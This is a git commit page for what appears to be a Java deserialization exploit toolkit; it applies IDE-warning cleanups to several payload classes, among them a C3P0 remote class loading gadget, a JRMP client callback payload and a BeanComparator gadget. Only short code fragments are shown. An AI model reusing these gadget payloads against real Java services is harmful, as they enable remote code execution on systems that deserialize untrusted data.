fix:修复大量IDEA给出的告警,提高代码健壮性

This commit is contained in:
qi4l
2026-03-27 15:28:07 +08:00
parent 0e49bdb0d8
commit 9a12c8cd6b
4 changed files with 8 additions and 4 deletions
@@ -44,7 +44,9 @@ public class C3P092 implements ObjectPayload<Object> {
ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;"); ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;");
// mock method name until armed // mock method name until armed
final Class<?> clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(new SuClassLoader()); final Class<?> clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
);
Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource); Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource);
Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url)); Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url));
@@ -59,7 +59,7 @@ public class JRMPClient implements ObjectPayload<Object> {
TCPEndpoint te = new TCPEndpoint(host, port); TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
return (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{ return Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{
Registry.class Registry.class
}, obj); }, obj);
} }
@@ -11,7 +11,7 @@ import java.util.List;
/** /**
* A blog post with more details about this gadget chain is at the url below: * A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/ * <a href="https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/">...</a>
* <p> * <p>
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog * This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget * posting describing how he modified the Java Commons Collections gadget
@@ -43,7 +43,9 @@ public class cb_AttrCompare183 implements ObjectPayload<Object> {
} catch (NotFoundException ignored) { } catch (NotFoundException ignored) {
} }
ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator)); ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance(); final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
).newInstance();
ctBeanComparator.defrost(); ctBeanComparator.defrost();
return beanComparator; return beanComparator;
} }